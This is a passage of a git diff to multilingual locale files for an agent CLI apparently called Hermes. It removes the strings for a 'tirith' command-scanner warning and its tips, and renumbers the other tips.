"security.tirith_fail_open: false lässt Hermes Befehle blockieren, wenn der tirith-Scanner selbst mit einem Fehler abbricht."- t376: "Die Umgebungsvariable TIRITH_FAIL_OPEN überschreibt die Konfiguration tirith_fail_open — ein schneller Schalter ohne Editieren von config.yaml."+ t375: "API_SERVER_MODEL_NAME passt den Modellnamen unter /v1/models an — unerlässlich für Open-WebUI-Setups mit mehreren Profilen."+ t376: "Dashboard-Plugins werden unter /dashboard-plugins/<name>/ ausgeliefert — legen Sie die Dateien in ~/.hermes/dashboard-plugins/ ab."t377: "Chats mit --source tool sind in hermes sessions list standardmäßig ausgeblendet — setzen Sie --source explizit, um sie zu sehen."- t378: "Sitzungs-IDs beginnen mit einem Zeitstempel (20250305_091523_abcd), sodass die Sortierung in ls und jq natürlich funktioniert."- t379: "API_SERVER_MODEL_NAME passt den Modellnamen unter /v1/models an — unerlässlich für Open-WebUI-Setups mit mehreren Profilen."- t380: "Dashboard-Plugins werden unter /dashboard-plugins/<name>/ ausgeliefert — legen Sie die Dateien in ~/.hermes/dashboard-plugins/ ab."placeholder:p01: "Fragen Sie etwas oder geben Sie / für Befehle ein…"p02: "Fasse zusammen, was in diesem Ordner liegt"diff --git a/locales/en.yaml b/locales/en.yamlindex 10c39f1e8f8..5415202a5dc 100644--- a/locales/en.yaml+++ b/locales/en.yaml@@ -2527,7 +2527,6 @@ cli:run_model_to_retry: "Run 'hermes model' to try again."provider_configured: "✓ Provider configured — you're ready to chat."provider_setup_incomplete: "Provider setup didn't complete. Run 'hermes model' to retry."- tirith_unavailable: "⚠ tirith security scanner enabled but not available — command scanning will use pattern matching only"unknown_toolsets: "Warning: Unknown toolsets: {names}"stdin_unusable: "\nError: stdin is not usable ({error}).\nThis can happen with certain Python installations (e.g. uv-managed cPython on macOS)\nwhere kqueue cannot register fd 0.\nTry reinstalling Python via pyenv or Homebrew, then re-run: hermes setup"warning: "Warning: {warning}"@@ -3759,7 +3758,7 @@ tips:t167: "Dangerous command approval has 4 tiers: once, session, always (permanent allowlist), deny."t168: "Smart approval mode uses an LLM to auto-approve safe commands and flag dangerous ones."t169: "SSRF protection blocks private networks, loopback, link-local, and cloud metadata addresses."- t170: "Tirith pre-exec scanning detects homograph URL spoofing and pipe-to-interpreter patterns."+ t170: "Session IDs are timestamp-prefixed (20250305_091523_abcd) so sorting works naturally in ls and jq."t171: "MCP subprocesses receive a filtered environment — only safe system vars pass through."t172: "Context files (.hermes.md, AGENTS.md) are security-scanned for prompt injection before loading."t173: "command_allowlist in config.yaml permanently approves specific shell command patterns."@@ -3964,12 +3963,9 @@ tips:t372: "image_gen.model in config.yaml picks the FAL model: flux-2/klein, gpt-image-2, nano-banana-pro, and more."t373: "image_gen.provider routes image generation through a plugin (OpenAI Images, Codex, FAL) instead of the default."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY point vision analysis at any OpenAI-compatible endpoint."- t375: "security.tirith_fail_open: false makes Hermes block commands when the tirith scanner itself errors out."- t376: "TIRITH_FAIL_OPEN env var overrides the tirith_fail_open config — a quick toggle without editing config.yaml."+ t375: "API_SERVER_MODEL_NAME customizes the model name on /v1/models — essential for multi-profile Open WebUI setups."+ t376: "Dashboard plugins are served from /dashboard-plugins/<name>/ — drop files into ~/.hermes/dashboard-plugins/."t377: "--source tool chats are excluded from hermes sessions list by default — set --source explicitly to see them."- t378: "Session IDs are timestamp-prefixed (20250305_091523_abcd) so sorting works naturally in ls and jq."- t379: "API_SERVER_MODEL_NAME customizes the model name on /v1/models — essential for multi-profile Open WebUI setups."- t380: "Dashboard plugins are served from /dashboard-plugins/<name>/ — drop files into ~/.hermes/dashboard-plugins/."# Empty-composer example prompts (TUI). Generic on purpose: Hermes is not coding-only.placeholder:p01: "Ask anything, or type / for commands…"diff --git a/locales/es.yaml b/locales/es.yamlindex a4f33506a4d..276124e4d57 100644--- a/locales/es.yaml+++ b/locales/es.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Ejecuta 'hermes model' para intentarlo de nuevo."provider_configured: "✓ Proveedor configurado — ya puedes chatear."provider_setup_incomplete: "La configuración del proveedor no se completó. Ejecuta 'hermes model' para reintentar."- tirith_unavailable: "⚠ El escáner de seguridad tirith está activado pero no disponible — el análisis de comandos usará solo coincidencia de patrones"unknown_toolsets: "Aviso: conjuntos de herramientas desconocidos: {names}"stdin_unusable: "\nError: stdin no se puede usar ({error}).\nEsto puede ocurrir con ciertas instalaciones de Python (p. ej., cPython gestionado por uv en macOS)\ndonde kqueue no puede registrar el fd 0.\nPrueba a reinstalar Python con pyenv o Homebrew y luego vuelve a ejecutar: hermes setup"warning: "Advertencia: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "La aprobación de comandos peligrosos tiene 4 niveles: once, session, always (lista de permitidos permanente) y deny."t168: "El modo de aprobación inteligente usa un LLM para aprobar automáticamente los comandos seguros y marcar los peligrosos."t169: "La protección SSRF bloquea redes privadas, loopback, direcciones link-local y direcciones de metadatos de la nube."- t170: "El escaneo previo a la ejecución de Tirith detecta URLs falsificadas con homógrafos y patrones de tubería a intérprete."+ t170: "Los IDs de sesión llevan la marca de tiempo como prefijo (20250305_091523_abcd), así que ordenar con ls y jq funciona de forma natural."t171: "Los subprocesos MCP reciben un entorno filtrado: solo pasan las variables seguras del sistema."t172: "Los archivos de contexto (.hermes.md, AGENTS.md) se escanean en busca de inyección de prompts antes de cargarse."t173: "command_allowlist en config.yaml aprueba de forma permanente patrones concretos de comandos de shell."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model en config.yaml elige el modelo de FAL: flux-2/klein, gpt-image-2, nano-banana-pro y más."t373: "image_gen.provider enruta la generación de imágenes a través de un plugin (OpenAI Images, Codex, FAL) en lugar del predeterminado."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY apuntan el análisis de visión a cualquier endpoint compatible con OpenAI."- t375: "security.tirith_fail_open: false hace que Hermes bloquee los comandos cuando el propio escáner tirith falla."- t376: "La variable de entorno TIRITH_FAIL_OPEN anula la configuración tirith_fail_open — un interruptor rápido sin editar config.yaml."+ t375: "API_SERVER_MODEL_NAME personaliza el nombre del modelo en /v1/models — esencial en configuraciones de Open WebUI con varios perfiles."+ t376: "Los plugins del dashboard se sirven desde /dashboard-plugins/<name>/ — copia los archivos en ~/.hermes/dashboard-plugins/."t377: "Los chats con --source tool quedan excluidos de hermes sessions list por defecto — indica --source explícitamente para verlos."- t378: "Los IDs de sesión llevan la marca de tiempo como prefijo (20250305_091523_abcd), así que ordenar con ls y jq funciona de forma natural."- t379: "API_SERVER_MODEL_NAME personaliza el nombre del modelo en /v1/models — esencial en configuraciones de Open WebUI con varios perfiles."- t380: "Los plugins del dashboard se sirven desde /dashboard-plugins/<name>/ — copia los archivos en ~/.hermes/dashboard-plugins/."placeholder:p01: "Pregunta lo que quieras, o escribe / para ver los comandos…"p02: "Resume el contenido de esta carpeta"diff --git a/locales/fr.yaml b/locales/fr.yamlindex ae9be7f3527..92614517902 100644--- a/locales/fr.yaml+++ b/locales/fr.yaml@@ -2700,7 +2700,6 @@ cli:run_model_to_retry: "Exécutez 'hermes model' pour réessayer."provider_configured: "✓ Fournisseur configuré — vous pouvez commencer à discuter."provider_setup_incomplete: "La configuration du fournisseur n'a pas abouti. Exécutez 'hermes model' pour réessayer."- tirith_unavailable: "⚠ Le scanner de sécurité tirith est activé mais indisponible — l'analyse des commandes se limitera à la détection par motifs"unknown_toolsets: "Avertissement : ensembles d'outils inconnus : {names}"stdin_unusable: |2-@@ -3970,7 +3969,7 @@ tips:t167: "L'approbation des commandes dangereuses a 4 niveaux : once, session, always (liste d'autorisation permanente), deny."t168: "Le mode d'approbation intelligent utilise un LLM pour approuver automatiquement les commandes sûres et signaler les dangereuses."t169: "La protection SSRF bloque les réseaux privés, le loopback, les adresses link-local et les adresses de métadonnées cloud."- t170: "L'analyse pré-exécution Tirith détecte l'usurpation d'URL par homoglyphes et les schémas de type « pipe vers interpréteur »."+ t170: "Les ID de session sont préfixés par un horodatage (20250305_091523_abcd), donc le tri fonctionne naturellement avec ls et jq."t171: "Les sous-processus MCP reçoivent un environnement filtré — seules les variables système sûres sont transmises."t172: "Les fichiers de contexte (.hermes.md, AGENTS.md) sont analysés contre les injections de prompt avant chargement."t173: "command_allowlist dans config.yaml approuve de façon permanente certains motifs de commandes shell."@@ -4175,12 +4174,9 @@ tips:t372: "image_gen.model dans config.yaml choisit le modèle FAL : flux-2/klein, gpt-image-2, nano-banana-pro, et d'autres."t373: "image_gen.provider fait passer la génération d'images par un plugin (OpenAI Images, Codex, FAL) au lieu du fournisseur par défaut."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY dirigent l'analyse d'images vers n'importe quel point de terminaison compatible OpenAI."- t375: "security.tirith_fail_open: false fait bloquer les commandes par Hermes quand le scanner tirith lui-même tombe en erreur."- t376: "La variable d'environnement TIRITH_FAIL_OPEN remplace la configuration tirith_fail_open — une bascule rapide sans modifier config.yaml."+ t375: "API_SERVER_MODEL_NAME personnalise le nom du modèle sur /v1/models — indispensable pour les configurations Open WebUI multi-profils."+ t376: "Les plugins du tableau de bord sont servis depuis /dashboard-plugins/<name>/ — déposez les fichiers dans ~/.hermes/dashboard-plugins/."t377: "Les chats --source tool sont exclus de hermes sessions list par défaut — passez --source explicitement pour les voir."- t378: "Les ID de session sont préfixés par un horodatage (20250305_091523_abcd), donc le tri fonctionne naturellement avec ls et jq."- t379: "API_SERVER_MODEL_NAME personnalise le nom du modèle sur /v1/models — indispensable pour les configurations Open WebUI multi-profils."- t380: "Les plugins du tableau de bord sont servis depuis /dashboard-plugins/<name>/ — déposez les fichiers dans ~/.hermes/dashboard-plugins/."placeholder:p01: "Posez une question, ou tapez / pour les commandes…"p02: "Résume le contenu de ce dossier"diff --git a/locales/ga.yaml b/locales/ga.yamlindex c6fe0933816..8faa9d51716 100644--- a/locales/ga.yaml+++ b/locales/ga.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Rith 'hermes model' le triail eile a bhaint as."provider_configured: "✓ Soláthraí cumraithe — tá tú réidh le comhrá."provider_setup_incomplete: "Níor críochnaíodh socrú an tsoláthraí. Rith 'hermes model' le triail eile a bhaint as."- tirith_unavailable: "⚠ scanóir slándála tirith cumasaithe ach níl sé ar fáil — ní úsáidfidh scanadh orduithe ach meaitseáil patrún"unknown_toolsets: "Rabhadh: Tacair uirlisí anaithnide: {names}"stdin_unusable: "\nEarráid: níl stdin inúsáidte ({error}).\nIs féidir leis seo tarlú le suiteálacha Python áirithe (m.sh. cPython arna bhainistiú ag uv ar macOS)\nnach féidir le kqueue fd 0 a chlárú.\nBain triail as Python a athshuiteáil trí pyenv nó Homebrew, ansin rith arís: hermes setup"warning: "Rabhadh: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "Tá 4 shraith ag ceadú orduithe contúirteacha: uair amháin, seisiún, i gcónaí (liosta ceadaithe buan), diúltaigh."t168: "Úsáideann mód ceadaithe cliste LLM chun orduithe sábháilte a cheadú go huathoibríoch agus orduithe contúirteacha a bhratachú."t169: "Blocálann cosaint SSRF líonraí príobháideacha, seoltaí aischúrsa, seoltaí nasc-logánta, agus seoltaí meiteashonraí néil."- t170: "Braitheann scanadh réamhrite Tirith bréagnú URL homagraf agus patrúin píopa-go-léirmhínitheoir."+ t170: "Tá réimír stampa ama ar IDanna seisiún (20250305_091523_abcd) ionas go n-oibríonn sórtáil go nádúrtha in ls agus jq."t171: "Faigheann fophróisis MCP timpeallacht scagtha — ní ligtear tríd ach athróga córais sábháilte."t172: "Déantar scanadh slándála ar chomhaid chomhthéacs (.hermes.md, AGENTS.md) le haghaidh instealladh leide roimh iad a lódáil."t173: "Ceadaíonn command_allowlist in config.yaml patrúin orduithe blaoisce sonracha go buan."@@ -3850,12 +3849,9 @@ tips:t372: "Roghnaíonn image_gen.model in config.yaml an tsamhail FAL: flux-2/klein, gpt-image-2, nano-banana-pro, agus tuilleadh."t373: "Seolann image_gen.provider giniúint íomhánna trí bhreiseán (OpenAI Images, Codex, FAL) in ionad an réamhshocraithe."t374: "Díríonn AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY anailís físe ar chríochphointe ar bith atá comhoiriúnach le OpenAI."- t375: "Cuireann security.tirith_fail_open: false ar Hermes orduithe a bhlocáil nuair a theipeann ar an scanóir tirith féin."- t376: "Sáraíonn athróg timpeallachta TIRITH_FAIL_OPEN cumraíocht tirith_fail_open — scoránú gasta gan config.yaml a chur in eagar."+ t375: "Saincheapann API_SERVER_MODEL_NAME ainm na samhla ar /v1/models — riachtanach do shocruithe Open WebUI il-phróifíle."+ t376: "Freastalaítear breiseáin deaise ó /dashboard-plugins/<name>/ — cuir comhaid isteach in ~/.hermes/dashboard-plugins/."t377: "Eisiatar comhráite --source tool ó hermes sessions list de réir réamhshocraithe — socraigh --source go follasach chun iad a fheiceáil."- t378: "Tá réimír stampa ama ar IDanna seisiún (20250305_091523_abcd) ionas go n-oibríonn sórtáil go nádúrtha in ls agus jq."- t379: "Saincheapann API_SERVER_MODEL_NAME ainm na samhla ar /v1/models — riachtanach do shocruithe Open WebUI il-phróifíle."- t380: "Freastalaítear breiseáin deaise ó /dashboard-plugins/<name>/ — cuir comhaid isteach in ~/.hermes/dashboard-plugins/."placeholder:p01: "Fiafraigh rud ar bith, nó clóscríobh / le haghaidh orduithe…"p02: "Déan achoimre ar a bhfuil sa bhfillteán seo"diff --git a/locales/hu.yaml b/locales/hu.yamlindex ddc0282df49..17ddc59d3b7 100644--- a/locales/hu.yaml+++ b/locales/hu.yaml@@ -2444,7 +2444,6 @@ cli:run_model_to_retry: "Újrapróbáláshoz: 'hermes model'"provider_configured: "✓ Szolgáltató beállítva — kezdődhet a beszélgetés."provider_setup_incomplete: "A szolgáltató beállítása nem fejeződött be. Újrapróbáláshoz: 'hermes model'"- tirith_unavailable: "⚠ A tirith biztonsági szkenner be van kapcsolva, de nem érhető el — a parancsellenőrzés csak mintaillesztést használ"unknown_toolsets: "Figyelem: ismeretlen eszközkészletek: {names}"stdin_unusable: "\nHiba: az stdin nem használható ({error}).\nEz bizonyos Python-telepítéseknél fordulhat elő (pl. uv által kezelt cPython macOS-en),\nahol a kqueue nem tudja regisztrálni a 0. fd-t.\nPróbáld újratelepíteni a Pythont pyenv-vel vagy Homebrew-val, majd futtasd újra: hermes setup"warning: "Figyelem: {warning}"@@ -3662,7 +3661,7 @@ tips:t167: "A veszélyes parancsok jóváhagyásának 4 szintje van: egyszer, munkamenet, mindig (állandó engedélylista), elutasítás."t168: "Az intelligens jóváhagyási mód LLM-mel hagyja jóvá automatikusan a biztonságos parancsokat, és jelöli meg a veszélyeseket."t169: "Az SSRF-védelem blokkolja a privát hálózatokat, a loopback és link-local címeket, valamint a felhő metaadat-címeit."- t170: "A Tirith futtatás előtti vizsgálata felismeri a homográf URL-hamisítást és a pipe-to-interpreter mintákat."+ t170: "A munkamenet-azonosítók időbélyeggel kezdődnek (20250305_091523_abcd), így ls-ben és jq-ban természetesen rendeződnek."t171: "Az MCP alfolyamatok szűrt környezetet kapnak – csak a biztonságos rendszerváltozók jutnak át."t172: "A kontextusfájlokat (.hermes.md, AGENTS.md) betöltés előtt a rendszer prompt injection ellen átvizsgálja."t173: "A config.yaml command_allowlist beállítása véglegesen jóváhagy adott shell parancsmintákat."@@ -3867,12 +3866,9 @@ tips:t372: "Az image_gen.model a config.yaml-ban választja ki a FAL-modellt: flux-2/klein, gpt-image-2, nano-banana-pro és mások."t373: "Az image_gen.provider egy pluginon (OpenAI Images, Codex, FAL) át irányítja a képgenerálást az alapértelmezett helyett."t374: "Az AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY bármely OpenAI-kompatibilis végpontra irányítja a képelemzést."- t375: "A security.tirith_fail_open: false hatására a Hermes blokkolja a parancsokat, ha maga a tirith-ellenőrző hibázik."- t376: "A TIRITH_FAIL_OPEN környezeti változó felülírja a tirith_fail_open konfigurációt — gyors kapcsoló a config.yaml szerkesztése nélkül."+ t375: "Az API_SERVER_MODEL_NAME testreszabja a modellnevet a /v1/models végponton — többprofilos Open WebUI felállásoknál elengedhetetlen."+ t376: "A dashboard-pluginok a /dashboard-plugins/<name>/ útvonalról szolgálódnak ki — másold a fájlokat a ~/.hermes/dashboard-plugins/ mappába."t377: "A --source tool chatek alapból nem szerepelnek a hermes sessions list kimenetében — add meg a --source kapcsolót kifejezetten, hogy lásd őket."- t378: "A munkamenet-azonosítók időbélyeggel kezdődnek (20250305_091523_abcd), így ls-ben és jq-ban természetesen rendeződnek."- t379: "Az API_SERVER_MODEL_NAME testreszabja a modellnevet a /v1/models végponton — többprofilos Open WebUI felállásoknál elengedhetetlen."- t380: "A dashboard-pluginok a /dashboard-plugins/<name>/ útvonalról szolgálódnak ki — másold a fájlokat a ~/.hermes/dashboard-plugins/ mappába."placeholder:p01: "Kérdezz bármit, vagy írj / jelet a parancsokhoz…"p02: "Foglald össze, mi van ebben a mappában"diff --git a/locales/it.yaml b/locales/it.yamlindex ba6744f319e..2fd315e4861 100644--- a/locales/it.yaml+++ b/locales/it.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Esegui 'hermes model' per riprovare."provider_configured: "✓ Provider configurato — sei pronto per chattare."provider_setup_incomplete: "La configurazione del provider non è stata completata. Esegui 'hermes model' per riprovare."- tirith_unavailable: "⚠ scanner di sicurezza tirith attivo ma non disponibile — la scansione dei comandi userà solo il pattern matching"unknown_toolsets: "Avviso: toolset sconosciuti: {names}"stdin_unusable: "\nErrore: stdin non è utilizzabile ({error}).\nPuò succedere con alcune installazioni di Python (es. cPython gestito da uv su macOS)\nin cui kqueue non riesce a registrare il fd 0.\nProva a reinstallare Python tramite pyenv o Homebrew, poi esegui di nuovo: hermes setup"warning: "Avviso: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "L'approvazione dei comandi pericolosi ha 4 livelli: una volta, sessione, sempre (allowlist permanente), nega."t168: "La modalità di approvazione smart usa un LLM per approvare automaticamente i comandi sicuri e segnalare quelli pericolosi."t169: "La protezione SSRF blocca reti private, loopback, link-local e indirizzi dei metadati cloud."- t170: "La scansione pre-esecuzione di Tirith rileva lo spoofing di URL con omoglifi e i pattern pipe-verso-interprete."+ t170: "Gli ID di sessione hanno un prefisso timestamp (20250305_091523_abcd), così l'ordinamento funziona naturalmente in ls e jq."t171: "I sottoprocessi MCP ricevono un ambiente filtrato: passano solo le variabili di sistema sicure."t172: "I file di contesto (.hermes.md, AGENTS.md) vengono controllati per prompt injection prima del caricamento."t173: "command_allowlist in config.yaml approva in modo permanente pattern specifici di comandi shell."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model in config.yaml sceglie il modello FAL: flux-2/klein, gpt-image-2, nano-banana-pro e altri."t373: "image_gen.provider instrada la generazione di immagini attraverso un plugin (OpenAI Images, Codex, FAL) invece del predefinito."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY puntano l'analisi visiva a qualsiasi endpoint compatibile OpenAI."- t375: "security.tirith_fail_open: false fa sì che Hermes blocchi i comandi quando lo scanner tirith stesso va in errore."- t376: "La variabile d'ambiente TIRITH_FAIL_OPEN sovrascrive la configurazione tirith_fail_open — un interruttore rapido senza modificare config.yaml."+ t375: "API_SERVER_MODEL_NAME personalizza il nome del modello su /v1/models — essenziale per configurazioni Open WebUI multi-profilo."+ t376: "I plugin della dashboard vengono serviti da /dashboard-plugins/<name>/ — metti i file in ~/.hermes/dashboard-plugins/."t377: "Le chat --source tool sono escluse da hermes sessions list per impostazione predefinita — imposta --source esplicitamente per vederle."- t378: "Gli ID di sessione hanno un prefisso timestamp (20250305_091523_abcd), così l'ordinamento funziona naturalmente in ls e jq."- t379: "API_SERVER_MODEL_NAME personalizza il nome del modello su /v1/models — essenziale per configurazioni Open WebUI multi-profilo."- t380: "I plugin della dashboard vengono serviti da /dashboard-plugins/<name>/ — metti i file in ~/.hermes/dashboard-plugins/."placeholder:p01: "Chiedi qualsiasi cosa, o digita / per i comandi…"p02: "Riassumi cosa c'è in questa cartella"diff --git a/locales/ja.yaml b/locales/ja.yamlindex 9cbc8544674..10a5b37e53d 100644--- a/locales/ja.yaml+++ b/locales/ja.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "'hermes model' を実行して再試行してください。"provider_configured: "✓ プロバイダーを設定しました — チャットを開始できます。"provider_setup_incomplete: "プロバイダーのセットアップが完了しませんでした。'hermes model' を実行して再試行してください。"- tirith_unavailable: "⚠ tirith セキュリティスキャナーは有効ですが利用できません — コマンドのスキャンはパターンマッチのみで行います"unknown_toolsets: "警告: 不明なツールセット: {names}"stdin_unusable: "\nエラー: stdin が使用できません({error})。\n特定の Python 環境(例: macOS 上の uv 管理の cPython)で、\nkqueue が fd 0 を登録できない場合に発生することがあります。\npyenv または Homebrew で Python を再インストールしてから、再度実行してください: hermes setup"warning: "警告: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "危険なコマンドの承認には 4 段階あります: once、session、always(恒久的な許可リスト)、deny。"t168: "スマート承認モードは LLM を使って安全なコマンドを自動承認し、危険なコマンドにフラグを立てます。"t169: "SSRF 保護はプライベートネットワーク、ループバック、リンクローカル、クラウドメタデータのアドレスをブロックします。"- t170: "Tirith の実行前スキャンは、ホモグラフによる URL 偽装やパイプからインタープリターへ渡すパターンを検出します。"+ t170: "セッション ID はタイムスタンプで始まる(20250305_091523_abcd)ため、ls や jq で自然に並べ替えられます。"t171: "MCP のサブプロセスにはフィルタリングされた環境変数が渡されます。安全なシステム変数だけが通過します。"t172: "コンテキストファイル(.hermes.md、AGENTS.md)は読み込み前にプロンプトインジェクションのセキュリティスキャンを受けます。"t173: "config.yaml の command_allowlist は特定のシェルコマンドパターンを恒久的に承認します。"@@ -3850,12 +3849,9 @@ tips:t372: "config.yaml の image_gen.model で FAL のモデルを選べます。flux-2/klein、gpt-image-2、nano-banana-pro などです。"t373: "image_gen.provider は、デフォルトの代わりにプラグイン(OpenAI Images、Codex、FAL)経由で画像生成をルーティングします。"t374: "AUXILIARY_VISION_BASE_URL と AUXILIARY_VISION_API_KEY で、画像解析を任意の OpenAI 互換エンドポイントに向けられます。"- t375: "security.tirith_fail_open: false にすると、tirith スキャナー自体がエラーになった場合に Hermes はコマンドをブロックします。"- t376: "環境変数 TIRITH_FAIL_OPEN は tirith_fail_open の設定を上書きします。config.yaml を編集せずに素早く切り替えられます。"+ t375: "API_SERVER_MODEL_NAME は /v1/models に表示されるモデル名をカスタマイズします。複数プロファイルの Open WebUI 構成では必須です。"+ t376: "ダッシュボードプラグインは /dashboard-plugins/<name>/ から配信されます。ファイルを ~/.hermes/dashboard-plugins/ に置いてください。"t377: "--source tool のチャットはデフォルトで hermes sessions list から除外されます。表示するには --source を明示的に指定してください。"- t378: "セッション ID はタイムスタンプで始まる(20250305_091523_abcd)ため、ls や jq で自然に並べ替えられます。"- t379: "API_SERVER_MODEL_NAME は /v1/models に表示されるモデル名をカスタマイズします。複数プロファイルの Open WebUI 構成では必須です。"- t380: "ダッシュボードプラグインは /dashboard-plugins/<name>/ から配信されます。ファイルを ~/.hermes/dashboard-plugins/ に置いてください。"placeholder:p01: "何でも質問するか、/ を入力してコマンドを表示…"p02: "このフォルダーの内容を要約して"diff --git a/locales/ko.yaml b/locales/ko.yamlindex 08e658bb814..d8f4966b207 100644--- a/locales/ko.yaml+++ b/locales/ko.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "다시 시도하려면 'hermes model'을 실행해 주세요."provider_configured: "✓ 제공자 설정 완료 — 이제 채팅을 시작할 수 있어요."provider_setup_incomplete: "제공자 설정이 완료되지 않았어요. 다시 시도하려면 'hermes model'을 실행해 주세요."- tirith_unavailable: "⚠ tirith 보안 스캐너가 활성화됐지만 사용할 수 없어요 — 명령 검사는 패턴 매칭만 사용해요"unknown_toolsets: "경고: 알 수 없는 도구 세트: {names}"stdin_unusable: "\n오류: stdin을 사용할 수 없어요 ({error}).\n특정 Python 설치(예: macOS의 uv 관리 cPython)에서 kqueue가 fd 0을\n등록할 수 없을 때 발생할 수 있어요.\npyenv나 Homebrew로 Python을 다시 설치한 뒤 다시 실행해 주세요: hermes setup"warning: "경고: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "위험 명령 승인에는 4단계가 있어요: once, session, always (영구 허용 목록), deny."t168: "스마트 승인 모드는 LLM으로 안전한 명령은 자동 승인하고 위험한 명령은 표시해요."t169: "SSRF 보호는 사설 네트워크, 루프백, 링크 로컬, 클라우드 메타데이터 주소를 차단해요."- t170: "Tirith 사전 실행 검사는 동형 문자 URL 위장과 파이프-인터프리터 패턴을 감지해요."+ t170: "세션 ID는 타임스탬프로 시작해요 (20250305_091523_abcd). 그래서 ls와 jq에서 자연스럽게 정렬돼요."t171: "MCP 하위 프로세스에는 필터링된 환경 변수만 전달돼요 — 안전한 시스템 변수만 통과해요."t172: "컨텍스트 파일(.hermes.md, AGENTS.md)은 불러오기 전에 프롬프트 인젝션 보안 검사를 거쳐요."t173: "config.yaml의 command_allowlist는 특정 셸 명령 패턴을 영구적으로 승인해요."@@ -3850,12 +3849,9 @@ tips:t372: "config.yaml의 image_gen.model은 FAL 모델을 골라요: flux-2/klein, gpt-image-2, nano-banana-pro 등이 있어요."t373: "image_gen.provider는 이미지 생성을 기본값 대신 플러그인(OpenAI Images, Codex, FAL)으로 라우팅해요."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY는 비전 분석을 어떤 OpenAI 호환 엔드포인트로든 연결해요."- t375: "security.tirith_fail_open: false는 tirith 스캐너 자체가 오류를 내면 Hermes가 명령을 차단하게 해요."- t376: "TIRITH_FAIL_OPEN 환경 변수는 tirith_fail_open 설정을 덮어써요 — config.yaml을 편집하지 않고 빠르게 전환할 수 있어요."+ t375: "API_SERVER_MODEL_NAME은 /v1/models에 표시되는 모델 이름을 바꿔요 — 다중 프로필 Open WebUI 구성에 꼭 필요해요."+ t376: "대시보드 플러그인은 /dashboard-plugins/<name>/에서 제공돼요 — 파일을 ~/.hermes/dashboard-plugins/에 넣으세요."t377: "--source tool 채팅은 기본적으로 hermes sessions list에서 제외돼요 — 보려면 --source를 명시적으로 지정하세요."- t378: "세션 ID는 타임스탬프로 시작해요 (20250305_091523_abcd). 그래서 ls와 jq에서 자연스럽게 정렬돼요."- t379: "API_SERVER_MODEL_NAME은 /v1/models에 표시되는 모델 이름을 바꿔요 — 다중 프로필 Open WebUI 구성에 꼭 필요해요."- t380: "대시보드 플러그인은 /dashboard-plugins/<name>/에서 제공돼요 — 파일을 ~/.hermes/dashboard-plugins/에 넣으세요."placeholder:p01: "무엇이든 물어보세요. 명령은 / 를 입력하세요…"p02: "이 폴더에 무엇이 있는지 요약해 줘"diff --git a/locales/pt.yaml b/locales/pt.yamlindex d84eac8b7da..eaef651d547 100644--- a/locales/pt.yaml+++ b/locales/pt.yaml@@ -2427,7 +2427,6 @@ cli:run_model_to_retry: "Execute 'hermes model' para tentar novamente."provider_configured: "✓ Fornecedor configurado — tudo pronto para conversar."provider_setup_incomplete: "A configuração do fornecedor não foi concluída. Execute 'hermes model' para tentar novamente."- tirith_unavailable: "⚠ Scanner de segurança tirith ativado, mas não disponível — a verificação de comandos usará apenas correspondência de padrões"unknown_toolsets: "Aviso: conjuntos de ferramentas desconhecidos: {names}"stdin_unusable: "\nErro: stdin não é utilizável ({error}).\nIsso pode acontecer com certas instalações do Python (ex.: cPython gerenciado pelo uv no macOS)\nem que o kqueue não consegue registrar o fd 0.\nTente reinstalar o Python via pyenv ou Homebrew e depois execute novamente: hermes setup"warning: "Aviso: {warning}"@@ -3645,7 +3644,7 @@ tips:t167: "A aprovação de comandos perigosos tem 4 níveis: once, session, always (lista de permissões permanente), deny."t168: "O modo de aprovação inteligente usa um LLM para aprovar automaticamente comandos seguros e sinalizar os perigosos."t169: "A proteção contra SSRF bloqueia redes privadas, loopback, link-local e endereços de metadados de nuvem."- t170: "A varredura pré-execução do Tirith detecta URLs falsificadas por homógrafos e padrões de pipe para interpretador."+ t170: "Os IDs de sessão têm prefixo de data e hora (20250305_091523_abcd), então a ordenação funciona naturalmente em ls e jq."t171: "Subprocessos MCP recebem um ambiente filtrado — só variáveis seguras do sistema passam."t172: "Arquivos de contexto (.hermes.md, AGENTS.md) passam por varredura de segurança contra injeção de prompt antes de carregar."t173: "command_allowlist no config.yaml aprova permanentemente padrões específicos de comandos shell."@@ -3850,12 +3849,9 @@ tips:t372: "image_gen.model em config.yaml escolhe o modelo FAL: flux-2/klein, gpt-image-2, nano-banana-pro e outros."t373: "image_gen.provider roteia a geração de imagens por um plugin (OpenAI Images, Codex, FAL) em vez do padrão."t374: "AUXILIARY_VISION_BASE_URL + AUXILIARY_VISION_API_KEY apontam a análise de visão para qualquer endpoint compatível com OpenAI."- t375: "security.tirith_fail_open: false faz o Hermes bloquear comandos quando o próprio scanner tirith falha."- t376: "A variável de ambiente TIRITH_FAIL_OPEN sobrepõe a configuração tirith_fail_open — um alternador rápido sem editar config.yaml."+ t375: "API_SERVER_MODEL_NAME personaliza o nome do modelo em /v1/models — essencial para configurações do Open WebUI com vários perfis."+ t376: "Os plugins do painel são servidos em /dashboard-plugins/<name>/ — coloque os arquivos em ~/.hermes/dashboard-plugins/."t377: "Chats com --source tool ficam fora de hermes sessions list por padrão — defina --source explicitamente para vê-los."- t378: "Os IDs de sessão têm prefixo de data e hora (20250305_091523_abcd), então a ordenação funciona naturalmente em ls e jq."- t379: "API_SERVER_MODEL_NAME personaliza o nome do modelo em /v1/models — essencial para configurações do Open WebUI com vários perfis."- t380: "Os 